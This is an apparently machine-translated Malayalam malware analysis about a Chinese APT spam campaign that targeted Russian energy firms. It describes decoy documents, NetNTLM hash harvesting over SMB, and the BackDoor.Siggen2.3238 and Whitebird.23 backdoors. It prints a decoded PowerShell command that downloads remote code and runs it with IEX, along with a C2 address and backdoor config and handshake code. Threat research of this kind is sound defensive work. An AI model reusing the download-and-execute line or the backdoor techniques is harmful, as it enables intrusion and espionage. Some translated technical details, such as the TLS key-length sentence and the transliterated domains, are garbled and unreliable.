റഷ്യൻ ഇന്ധന-ഊർജ്ജ സമുച്ചയത്തിൽ ലക്ഷ്യമിട്ടുള്ള ചാരപ്രവർത്തനം ഞങ്ങൾ അന്വേഷിക്കുകയാണ്

കമ്പ്യൂട്ടർ സുരക്ഷാ സംഭവങ്ങൾ അന്വേഷിക്കുന്നതിലെ ഞങ്ങളുടെ അനുഭവം കാണിക്കുന്നത്, ആക്രമണകാരികൾ തുടക്കത്തിൽ ആക്രമിക്കപ്പെട്ട നെറ്റ്‌വർക്ക് ഇൻഫ്രാസ്ട്രക്ചറുകളിലേക്ക് തുളച്ചുകയറാൻ ഉപയോഗിക്കുന്ന ഏറ്റവും സാധാരണമായ ചാനലുകളിൽ ഒന്നാണ് ഇമെയിൽ. സംശയാസ്പദമായ (അല്ലെങ്കിൽ സംശയാസ്പദമല്ലാത്ത) കത്ത് ഉപയോഗിച്ച് ഒരു അശ്രദ്ധമായ പ്രവർത്തനം കൂടുതൽ അണുബാധയ്ക്കുള്ള ഒരു എൻട്രി പോയിന്റായി മാറുന്നു, അതിനാലാണ് സൈബർ കുറ്റവാളികൾ സോഷ്യൽ എഞ്ചിനീയറിംഗ് രീതികൾ സജീവമായി ഉപയോഗിക്കുന്നത്, വ്യത്യസ്ത തലത്തിലുള്ള വിജയങ്ങളാണെങ്കിലും.

റഷ്യൻ ഇന്ധന-ഊർജ്ജ സമുച്ചയത്തിലെ നിരവധി സംരംഭങ്ങളെ ലക്ഷ്യമിട്ടുള്ള ഒരു സ്പാം കാമ്പെയ്‌നിനെക്കുറിച്ചുള്ള ഞങ്ങളുടെ സമീപകാല അന്വേഷണത്തെക്കുറിച്ച് ഈ പോസ്റ്റിൽ സംസാരിക്കാൻ ഞങ്ങൾ ആഗ്രഹിക്കുന്നു. എല്ലാ ആക്രമണങ്ങളും വ്യാജ ഇമെയിലുകൾ ഉപയോഗിച്ചുള്ള അതേ സാഹചര്യം പിന്തുടർന്നു, ഈ ഇമെയിലുകളുടെ ടെക്‌സ്‌റ്റ് ഉള്ളടക്കത്തിൽ ആരും വളരെയധികം പരിശ്രമിച്ചതായി തോന്നുന്നില്ല.

ഇന്റലിജൻസ് സേവനം

2020 ഏപ്രിൽ അവസാനം, റഷ്യൻ ഇന്ധന-ഊർജ്ജ സമുച്ചയത്തിലെ നിരവധി സംരംഭങ്ങളിലെ ജീവനക്കാർക്ക് ഹാക്കർമാർ അപ്‌ഡേറ്റ് ചെയ്ത ടെലിഫോൺ ഡയറക്ടറി അയച്ച ഒരു സ്പാം കാമ്പെയ്‌ൻ ഡോക്ടർ വെബ് വൈറസ് വിശകലന വിദഗ്ധർ കണ്ടെത്തിയതോടെയാണ് ഇതെല്ലാം ആരംഭിച്ചത്. ഡയറക്‌ടറി യഥാർത്ഥമായിരുന്നില്ല എന്നതിനാലും .docx ഡോക്യുമെന്റുകൾ റിമോട്ട് റിസോഴ്‌സുകളിൽ നിന്ന് രണ്ട് ചിത്രങ്ങൾ ഡൗൺലോഡ് ചെയ്‌തതിനാലും തീർച്ചയായും ഇത് ആശങ്കയുടെ ലളിതമായ ഒരു ഷോ ആയിരുന്നില്ല.

അവയിലൊന്ന് വാർത്ത[.]zannews[.]com സെർവറിൽ നിന്ന് ഉപയോക്താവിന്റെ കമ്പ്യൂട്ടറിലേക്ക് ഡൗൺലോഡ് ചെയ്‌തു. ഡൊമെയ്‌ൻ നാമം കസാക്കിസ്ഥാനിലെ അഴിമതി വിരുദ്ധ മാധ്യമ കേന്ദ്രത്തിന്റെ ഡൊമെയ്‌നിന് സമാനമാണെന്നത് ശ്രദ്ധേയമാണ് - zannews[.]kz. മറുവശത്ത്, ഉപയോഗിച്ച ഡൊമെയ്‌ൻ TOPNEWS എന്നറിയപ്പെടുന്ന മറ്റൊരു 2015 കാമ്പെയ്‌നിനെ ഉടനടി അനുസ്മരിപ്പിക്കുന്നു, അത് ഒരു ICEFOG ബാക്ക്‌ഡോർ ഉപയോഗിക്കുകയും അവരുടെ പേരുകളിൽ "വാർത്ത" എന്ന സബ്‌സ്ട്രിംഗ് ഉള്ള ട്രോജൻ നിയന്ത്രണ ഡൊമെയ്‌നുകൾ ഉണ്ടായിരിക്കുകയും ചെയ്തു. വ്യത്യസ്‌ത സ്വീകർത്താക്കൾക്ക് ഇമെയിലുകൾ അയയ്‌ക്കുമ്പോൾ, ഒരു ചിത്രം ഡൗൺലോഡ് ചെയ്യാനുള്ള അഭ്യർത്ഥനകൾ വ്യത്യസ്ത അഭ്യർത്ഥന പാരാമീറ്ററുകളോ അതുല്യമായ ഇമേജ് പേരുകളോ ഉപയോഗിക്കുന്നു എന്നതാണ് മറ്റൊരു രസകരമായ സവിശേഷത.

ശരിയായ സമയത്ത് കത്ത് തുറക്കുമെന്ന് ഉറപ്പുനൽകുന്ന ഒരു "വിശ്വസനീയ" വിലാസക്കാരനെ തിരിച്ചറിയുന്നതിനുള്ള വിവരങ്ങൾ ശേഖരിക്കുന്നതിനാണ് ഇത് ചെയ്തതെന്ന് ഞങ്ങൾ വിശ്വസിക്കുന്നു. രണ്ടാമത്തെ സെർവറിൽ നിന്ന് ചിത്രം ഡൗൺലോഡ് ചെയ്യാൻ SMB പ്രോട്ടോക്കോൾ ഉപയോഗിച്ചു, ലഭിച്ച പ്രമാണം തുറന്ന ജീവനക്കാരുടെ കമ്പ്യൂട്ടറുകളിൽ നിന്ന് NetNTLM ഹാഷുകൾ ശേഖരിക്കാൻ ഇത് ചെയ്യാവുന്നതാണ്.

വ്യാജ ഡയറക്ടറി ഉള്ള കത്ത് ഇതാ:

ഈ വർഷം ജൂണിൽ, ചിത്രങ്ങൾ അപ്‌ലോഡ് ചെയ്യുന്നതിന് ഹാക്കർമാർ സ്‌പോർട്‌സ്[.]manhajnews[.]com എന്ന പുതിയ ഡൊമെയ്‌ൻ നാമം ഉപയോഗിക്കാൻ തുടങ്ങി. 2019 സെപ്റ്റംബർ മുതൽ സ്പാം മെയിലിംഗുകളിൽ manhajnews[.]com ഉപഡൊമെയ്‌നുകൾ ഉപയോഗിച്ചിട്ടുണ്ടെന്ന് വിശകലനം കാണിക്കുന്നു. ഈ പ്രചാരണത്തിന്റെ ലക്ഷ്യങ്ങളിലൊന്ന് ഒരു വലിയ റഷ്യൻ സർവകലാശാലയായിരുന്നു.

കൂടാതെ, ജൂൺ മാസത്തോടെ, ആക്രമണത്തിന്റെ സംഘാടകർ അവരുടെ കത്തുകൾക്കായി ഒരു പുതിയ വാചകം കൊണ്ടുവന്നു: ഇത്തവണ പ്രമാണത്തിൽ വ്യവസായ വികസനത്തെക്കുറിച്ചുള്ള വിവരങ്ങൾ അടങ്ങിയിരിക്കുന്നു. കത്തിന്റെ വാചകം അതിന്റെ രചയിതാവ് ഒന്നുകിൽ റഷ്യൻ ഭാഷ സംസാരിക്കുന്നയാളല്ലെന്നും അല്ലെങ്കിൽ തന്നെക്കുറിച്ച് മനപ്പൂർവ്വം അത്തരമൊരു മതിപ്പ് സൃഷ്ടിക്കുകയാണെന്നും വ്യക്തമായി സൂചിപ്പിച്ചു. നിർഭാഗ്യവശാൽ, വ്യവസായ വികസനത്തിന്റെ ആശയങ്ങൾ, എല്ലായ്പ്പോഴും എന്നപോലെ, ഒരു കവർ മാത്രമായി മാറി - ഡോക്യുമെന്റ് വീണ്ടും രണ്ട് ചിത്രങ്ങൾ ഡൗൺലോഡ് ചെയ്തു, അതേസമയം സെർവർ ഡൗൺലോഡ്[.]ഇൻക്ലിംഗ്പേപ്പർ[.]കോം ആയി മാറ്റി.

അടുത്ത നവീകരണം ജൂലൈയിൽ തുടർന്നു. ആൻറിവൈറസ് പ്രോഗ്രാമുകൾ വഴി ക്ഷുദ്രകരമായ പ്രമാണങ്ങൾ കണ്ടെത്തുന്നത് മറികടക്കാനുള്ള ശ്രമത്തിൽ, ആക്രമണകാരികൾ ഒരു പാസ്വേഡ് ഉപയോഗിച്ച് എൻക്രിപ്റ്റ് ചെയ്ത Microsoft Word ഡോക്യുമെന്റുകൾ ഉപയോഗിക്കാൻ തുടങ്ങി. അതേ സമയം, ആക്രമണകാരികൾ ഒരു ക്ലാസിക് സോഷ്യൽ എഞ്ചിനീയറിംഗ് ടെക്നിക് ഉപയോഗിക്കാൻ തീരുമാനിച്ചു - റിവാർഡ് അറിയിപ്പ്.

അപ്പീലിന്റെ വാചകം വീണ്ടും അതേ ശൈലിയിൽ എഴുതിയത് വിലാസക്കാരിൽ കൂടുതൽ സംശയം ജനിപ്പിച്ചു. ചിത്രം ഡൗൺലോഡ് ചെയ്യുന്നതിനുള്ള സെർവറും മാറിയില്ല.

എല്ലാ സാഹചര്യങ്ങളിലും, കത്തുകൾ അയയ്‌ക്കാൻ മെയിലിൽ [.]ru, yandex[.]ru ഡൊമെയ്‌നുകളിൽ രജിസ്റ്റർ ചെയ്‌ത ഇലക്ട്രോണിക് മെയിൽബോക്‌സുകൾ ഉപയോഗിച്ചിരുന്നു എന്നത് ശ്രദ്ധിക്കുക.

ആക്രമണം

2020 സെപ്തംബർ ആദ്യത്തോടെ, ഇത് പ്രവർത്തനത്തിനുള്ള സമയമായി. ഞങ്ങളുടെ വൈറസ് അനലിസ്റ്റുകൾ ഒരു പുതിയ തരം ആക്രമണങ്ങൾ രേഖപ്പെടുത്തി, അതിൽ ഒരു ടെലിഫോൺ ഡയറക്ടറി അപ്‌ഡേറ്റ് ചെയ്യുന്നതിന്റെ പേരിൽ ആക്രമണകാരികൾ വീണ്ടും കത്തുകൾ അയച്ചു. എന്നിരുന്നാലും, ഇത്തവണ അറ്റാച്ച്‌മെന്റിൽ ക്ഷുദ്രകരമായ മാക്രോ അടങ്ങിയിരിക്കുന്നു.

അറ്റാച്ചുചെയ്ത പ്രമാണം തുറക്കുമ്പോൾ, മാക്രോ രണ്ട് ഫയലുകൾ സൃഷ്ടിച്ചു:

• VBS സ്ക്രിപ്റ്റ് %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, ഒരു ബാച്ച് ഫയൽ സമാരംഭിക്കാൻ ഉദ്ദേശിച്ചുള്ളതാണ്;
• ബാച്ച് ഫയൽ തന്നെ %APPDATA%configstest.bat, അത് അവ്യക്തമാക്കി.

ചില പാരാമീറ്ററുകൾ ഉപയോഗിച്ച് പവർഷെൽ ഷെൽ സമാരംഭിക്കുന്നതിലേക്കാണ് അതിന്റെ പ്രവർത്തനത്തിന്റെ സാരാംശം വരുന്നത്. ഷെല്ലിലേക്ക് കൈമാറിയ പരാമീറ്ററുകൾ കമാൻഡുകളായി ഡീകോഡ് ചെയ്യുന്നു:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

അവതരിപ്പിച്ച കമാൻഡുകളിൽ നിന്ന് ഇനിപ്പറയുന്നത് പോലെ, പേലോഡ് ഡൗൺലോഡ് ചെയ്ത ഡൊമെയ്ൻ വീണ്ടും ഒരു വാർത്താ സൈറ്റായി വേഷംമാറി. ഒരു ലളിതമായ ബൂട്ട്ലോഡർ, കമാൻഡ് ആൻഡ് കൺട്രോൾ സെർവറിൽ നിന്ന് ഷെൽകോഡ് സ്വീകരിച്ച് അത് എക്സിക്യൂട്ട് ചെയ്യുക എന്നതാണ് ആരുടെ ഏക ചുമതല. ഇരയുടെ പിസിയിൽ ഇൻസ്റ്റാൾ ചെയ്യാൻ കഴിയുന്ന രണ്ട് തരം ബാക്ക്ഡോറുകൾ തിരിച്ചറിയാൻ ഞങ്ങൾക്ക് കഴിഞ്ഞു.

BackDoor.Siggen2.3238

ആദ്യത്തേത് BackDoor.Siggen2.3238 - ഞങ്ങളുടെ സ്പെഷ്യലിസ്റ്റുകൾ മുമ്പ് നേരിട്ടിട്ടില്ല, കൂടാതെ മറ്റ് ആന്റിവൈറസ് വെണ്ടർമാരുടെ ഈ പ്രോഗ്രാമിനെക്കുറിച്ച് പരാമർശങ്ങളൊന്നും ഉണ്ടായിരുന്നില്ല.

ഈ പ്രോഗ്രാം C++ ൽ എഴുതിയതും 32-ബിറ്റ് വിൻഡോസ് ഓപ്പറേറ്റിംഗ് സിസ്റ്റങ്ങളിൽ പ്രവർത്തിക്കുന്നതുമായ ഒരു ബാക്ക്ഡോറാണ്.

BackDoor.Siggen2.3238 രണ്ട് പ്രോട്ടോക്കോളുകൾ ഉപയോഗിച്ച് മാനേജ്മെന്റ് സെർവറുമായി ആശയവിനിമയം നടത്താൻ കഴിയും: HTTP, HTTPS. പരിശോധിച്ച സാമ്പിൾ HTTPS പ്രോട്ടോക്കോൾ ഉപയോഗിക്കുന്നു. സെർവറിലേക്കുള്ള അഭ്യർത്ഥനകളിൽ ഇനിപ്പറയുന്ന ഉപയോക്തൃ-ഏജൻറ് ഉപയോഗിക്കുന്നു:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

ഈ സാഹചര്യത്തിൽ, എല്ലാ അഭ്യർത്ഥനകളും ഇനിപ്പറയുന്ന പാരാമീറ്ററുകൾ ഉപയോഗിച്ച് വിതരണം ചെയ്യുന്നു:

%s;type=%s;length=%s;realdata=%send

ഇവിടെ ഓരോ വരിയും %s മാറ്റിസ്ഥാപിക്കുന്നു:

• രോഗം ബാധിച്ച കമ്പ്യൂട്ടറിന്റെ ഐഡി,
• അയയ്‌ക്കുന്ന അഭ്യർത്ഥനയുടെ തരം,
• റിയൽഡാറ്റ ഫീൽഡിലെ ഡാറ്റയുടെ ദൈർഘ്യം,
• ഡാറ്റ.

രോഗബാധിതമായ സിസ്റ്റത്തെക്കുറിച്ചുള്ള വിവരങ്ങൾ ശേഖരിക്കുന്ന ഘട്ടത്തിൽ, പിൻവാതിൽ ഇതുപോലുള്ള ഒരു ലൈൻ സൃഷ്ടിക്കുന്നു:

lan=%s;cmpname=%s;username=%s;version=%s;

ഇവിടെ lan എന്നത് ബാധിച്ച കമ്പ്യൂട്ടറിന്റെ IP വിലാസമാണ്, cmpname എന്നത് കമ്പ്യൂട്ടറിന്റെ പേരാണ്, ഉപയോക്തൃനാമം ഉപയോക്തൃനാമമാണ്, പതിപ്പ് 0.0.4.03 എന്ന വരിയാണ്.

sysinfo ഐഡന്റിഫയർ ഉള്ള ഈ വിവരങ്ങൾ ഒരു POST അഭ്യർത്ഥന വഴി https[:]//31.214[.]157.14/log.txt-ൽ സ്ഥിതി ചെയ്യുന്ന നിയന്ത്രണ സെർവറിലേക്ക് അയച്ചു. പ്രതികരണമാണെങ്കിൽ BackDoor.Siggen2.3238 HEART സിഗ്നൽ സ്വീകരിക്കുന്നു, കണക്ഷൻ വിജയകരമാണെന്ന് കണക്കാക്കുന്നു, കൂടാതെ സെർവറുമായുള്ള ആശയവിനിമയത്തിന്റെ പ്രധാന ചക്രം ബാക്ക്ഡോർ ആരംഭിക്കുന്നു.

പ്രവർത്തന തത്വങ്ങളുടെ കൂടുതൽ പൂർണ്ണമായ വിവരണം BackDoor.Siggen2.3238 നമ്മുടെ ഉള്ളിലാണ് വൈറസ് ലൈബ്രറി.

BackDoor.Whitebird.23

രണ്ടാമത്തെ പ്രോഗ്രാം, BackDoor.Whitebird backdoor-ന്റെ പരിഷ്ക്കരണമാണ്, കസാക്കിസ്ഥാനിലെ ഒരു സർക്കാർ ഏജൻസിയുമായുള്ള സംഭവത്തിൽ നിന്ന് ഞങ്ങൾക്ക് ഇതിനകം തന്നെ അറിയാം. ഈ പതിപ്പ് C++ ൽ എഴുതിയിരിക്കുന്നു കൂടാതെ 32-ബിറ്റ്, 64-ബിറ്റ് വിൻഡോസ് ഓപ്പറേറ്റിംഗ് സിസ്റ്റങ്ങളിൽ പ്രവർത്തിക്കാൻ രൂപകൽപ്പന ചെയ്തിട്ടുള്ളതാണ്.

ഇത്തരത്തിലുള്ള മിക്ക പ്രോഗ്രാമുകളും പോലെ, BackDoor.Whitebird.23 കൺട്രോൾ സെർവറുമായി ഒരു എൻക്രിപ്റ്റ് ചെയ്ത കണക്ഷൻ സ്ഥാപിക്കുന്നതിനും രോഗബാധിതരായ കമ്പ്യൂട്ടറിന്റെ അനധികൃത നിയന്ത്രണം സ്ഥാപിക്കുന്നതിനും രൂപകൽപ്പന ചെയ്തിരിക്കുന്നത്. ഒരു ഡ്രോപ്പർ ഉപയോഗിച്ച് ഒരു വിട്ടുവീഴ്ച ചെയ്ത സിസ്റ്റത്തിലേക്ക് ഇൻസ്റ്റാൾ ചെയ്തു BackDoor.Siggen2.3244.

ഞങ്ങൾ പരിശോധിച്ച സാമ്പിൾ രണ്ട് കയറ്റുമതികളുള്ള ഒരു ക്ഷുദ്ര ലൈബ്രറിയാണ്:

• ഗൂഗിൾ പ്ലേ
• ടെസ്റ്റ്.

അതിന്റെ പ്രവർത്തനത്തിന്റെ തുടക്കത്തിൽ, ബൈറ്റ് 0x99 ഉപയോഗിച്ച് XOR പ്രവർത്തനത്തെ അടിസ്ഥാനമാക്കിയുള്ള ഒരു അൽഗോരിതം ഉപയോഗിച്ച് ബാക്ക്ഡോർ ബോഡിയിലേക്ക് ഹാർഡ്‌വയർ ചെയ്ത കോൺഫിഗറേഷൻ ഇത് ഡീക്രിപ്റ്റ് ചെയ്യുന്നു. കോൺഫിഗറേഷൻ ഇതുപോലെ കാണപ്പെടുന്നു:

struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

അതിന്റെ നിരന്തരമായ പ്രവർത്തനം ഉറപ്പാക്കാൻ, ബാക്ക്ഡോർ ഫീൽഡിൽ വ്യക്തമാക്കിയ മൂല്യം മാറ്റുന്നു ജോലിചെയ്യുന്ന സമയം കോൺഫിഗറേഷനുകൾ. ഫീൽഡിൽ 1440 ബൈറ്റുകൾ അടങ്ങിയിരിക്കുന്നു, അത് 0 അല്ലെങ്കിൽ 1 മൂല്യങ്ങൾ എടുക്കുകയും ദിവസത്തിലെ ഓരോ മണിക്കൂറിലെയും ഓരോ മിനിറ്റിനെയും പ്രതിനിധീകരിക്കുകയും ചെയ്യുന്നു. ഓരോ നെറ്റ്‌വർക്ക് ഇന്റർഫേസിനും ഒരു പ്രത്യേക ത്രെഡ് സൃഷ്‌ടിക്കുന്നു, അത് ഇന്റർഫേസ് ശ്രദ്ധിക്കുകയും രോഗബാധിതരായ കമ്പ്യൂട്ടറിൽ നിന്ന് പ്രോക്‌സി സെർവറിൽ അംഗീകാര പാക്കറ്റുകൾക്കായി തിരയുകയും ചെയ്യുന്നു. അത്തരമൊരു പാക്കറ്റ് കണ്ടെത്തുമ്പോൾ, ബാക്ക്ഡോർ അതിന്റെ ലിസ്റ്റിലേക്ക് പ്രോക്സി സെർവറിനെക്കുറിച്ചുള്ള വിവരങ്ങൾ ചേർക്കുന്നു. കൂടാതെ, WinAPI വഴി ഒരു പ്രോക്സിയുടെ സാന്നിധ്യം പരിശോധിക്കുന്നു InternetQueryOptionW.

പ്രോഗ്രാം നിലവിലെ മിനിറ്റും മണിക്കൂറും പരിശോധിച്ച് ഫീൽഡിലെ ഡാറ്റയുമായി താരതമ്യം ചെയ്യുന്നു ജോലിചെയ്യുന്ന സമയം കോൺഫിഗറേഷനുകൾ. ദിവസത്തിലെ അനുബന്ധ മിനിറ്റിന്റെ മൂല്യം പൂജ്യമല്ലെങ്കിൽ, നിയന്ത്രണ സെർവറുമായി ഒരു കണക്ഷൻ സ്ഥാപിച്ചു.

സെർവറിലേക്ക് ഒരു കണക്ഷൻ സ്ഥാപിക്കുന്നത് ക്ലയന്റിനും സെർവറിനുമിടയിൽ TLS പതിപ്പ് 1.0 പ്രോട്ടോക്കോൾ ഉപയോഗിച്ച് ഒരു കണക്ഷൻ സൃഷ്ടിക്കുന്നത് അനുകരിക്കുന്നു. പിൻവാതിലിൻറെ ബോഡിയിൽ രണ്ട് ബഫറുകൾ അടങ്ങിയിരിക്കുന്നു.

ആദ്യത്തെ ബഫറിൽ TLS 1.0 ക്ലയന്റ് ഹലോ പാക്കറ്റ് അടങ്ങിയിരിക്കുന്നു.

രണ്ടാമത്തെ ബഫറിൽ 1.0x0 ബൈറ്റുകളുടെ കീ ദൈർഘ്യമുള്ള TLS 100 ക്ലയന്റ് കീ എക്‌സ്‌ചേഞ്ച് പാക്കറ്റുകൾ, സൈഫർ സ്‌പെക്ക് മാറ്റുക, എൻക്രിപ്റ്റ് ചെയ്‌ത ഹാൻഡ്‌ഷേക്ക് സന്ദേശം എന്നിവ അടങ്ങിയിരിക്കുന്നു.

ഒരു ക്ലയന്റ് ഹലോ പാക്കറ്റ് അയയ്‌ക്കുമ്പോൾ, ബാക്ക്‌ഡോർ നിലവിലെ സമയത്തിന്റെ 4 ബൈറ്റുകളും ക്ലയന്റ് റാൻഡം ഫീൽഡിൽ 28 ബൈറ്റുകളുടെ വ്യാജ-റാൻഡം ഡാറ്റയും ഇനിപ്പറയുന്ന രീതിയിൽ കണക്കാക്കുന്നു:

v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

ലഭിച്ച പാക്കറ്റ് നിയന്ത്രണ സെർവറിലേക്ക് അയച്ചു. പ്രതികരണം (സെർവർ ഹലോ പാക്കറ്റ്) പരിശോധിക്കുന്നു:

• TLS പ്രോട്ടോക്കോൾ പതിപ്പ് 1.0 പാലിക്കൽ;
• സെർവർ വ്യക്തമാക്കിയ ടൈംസ്റ്റാമ്പുമായി ക്ലയന്റ് വ്യക്തമാക്കിയ ടൈംസ്റ്റാമ്പിന്റെ (റാൻഡം ഡാറ്റ പാക്കറ്റ് ഫീൽഡിന്റെ ആദ്യ 4 ബൈറ്റുകൾ) കത്തിടപാടുകൾ;
• ക്ലയന്റിന്റെയും സെർവറിന്റെയും റാൻഡം ഡാറ്റ ഫീൽഡിലെ ടൈംസ്റ്റാമ്പിന് ശേഷമുള്ള ആദ്യത്തെ 4 ബൈറ്റുകളുടെ പൊരുത്തം.

നിർദ്ദിഷ്ട പൊരുത്തങ്ങളുടെ കാര്യത്തിൽ, പിൻവാതിൽ ഒരു ക്ലയന്റ് കീ എക്സ്ചേഞ്ച് പാക്കറ്റ് തയ്യാറാക്കുന്നു. ഇത് ചെയ്യുന്നതിന്, ഇത് ക്ലയന്റ് കീ എക്‌സ്‌ചേഞ്ച് പാക്കേജിലെ പബ്ലിക് കീയും എൻക്രിപ്‌റ്റ് ചെയ്‌ത ഹാൻഡ്‌ഷേക്ക് മെസേജ് പാക്കേജിലെ എൻക്രിപ്ഷൻ IV, എൻക്രിപ്ഷൻ ഡാറ്റ എന്നിവയും പരിഷ്‌ക്കരിക്കുന്നു.

ബാക്ക്‌ഡോർ പിന്നീട് കമാൻഡ് ആൻഡ് കൺട്രോൾ സെർവറിൽ നിന്ന് പാക്കറ്റ് സ്വീകരിക്കുന്നു, TLS പ്രോട്ടോക്കോൾ പതിപ്പ് 1.0 ആണെന്ന് പരിശോധിച്ച് മറ്റൊരു 54 ബൈറ്റുകൾ (പാക്കറ്റിന്റെ ബോഡി) സ്വീകരിക്കുന്നു. ഇത് കണക്ഷൻ സജ്ജീകരണം പൂർത്തിയാക്കുന്നു.

പ്രവർത്തന തത്വങ്ങളുടെ കൂടുതൽ പൂർണ്ണമായ വിവരണം BackDoor.Whitebird.23 നമ്മുടെ ഉള്ളിലാണ് വൈറസ് ലൈബ്രറി.

നിഗമനവും നിഗമനങ്ങളും

രേഖകൾ, ക്ഷുദ്രവെയർ, ഉപയോഗിച്ച അടിസ്ഥാന സൗകര്യങ്ങൾ എന്നിവയുടെ വിശകലനം, ആക്രമണം ചൈനീസ് APT ഗ്രൂപ്പുകളിലൊന്നാണ് തയ്യാറാക്കിയതെന്ന് ആത്മവിശ്വാസത്തോടെ പറയാൻ ഞങ്ങളെ അനുവദിക്കുന്നു. വിജയകരമായ ആക്രമണമുണ്ടായാൽ ഇരകളുടെ കമ്പ്യൂട്ടറുകളിൽ ഇൻസ്റ്റാൾ ചെയ്തിട്ടുള്ള പിൻവാതിലുകളുടെ പ്രവർത്തനക്ഷമത കണക്കിലെടുത്താൽ, ആക്രമണത്തിനിരയായ സംഘടനകളുടെ കമ്പ്യൂട്ടറുകളിൽ നിന്നുള്ള രഹസ്യ വിവരങ്ങൾ മോഷ്ടിക്കുന്നതിലേക്ക് അണുബാധ നയിക്കുന്നു.

കൂടാതെ, ഒരു പ്രത്യേക ഫംഗ്‌ഷനുള്ള പ്രാദേശിക സെർവറുകളിൽ പ്രത്യേക ട്രോജനുകൾ സ്ഥാപിക്കുന്നതാണ് വളരെ സാധ്യതയുള്ള ഒരു സാഹചര്യം. ഇവ ഡൊമെയ്ൻ കൺട്രോളറുകൾ, മെയിൽ സെർവറുകൾ, ഇന്റർനെറ്റ് ഗേറ്റ്‌വേകൾ മുതലായവ ആകാം. ഉദാഹരണത്തിൽ നമുക്ക് കാണാൻ കഴിയുന്നത് പോലെ കസാക്കിസ്ഥാനിലാണ് സംഭവം, അത്തരം സെർവറുകൾ വിവിധ കാരണങ്ങളാൽ ആക്രമണകാരികൾക്ക് പ്രത്യേക താൽപ്പര്യമുള്ളവയാണ്.

അവലംബം: www.habr.com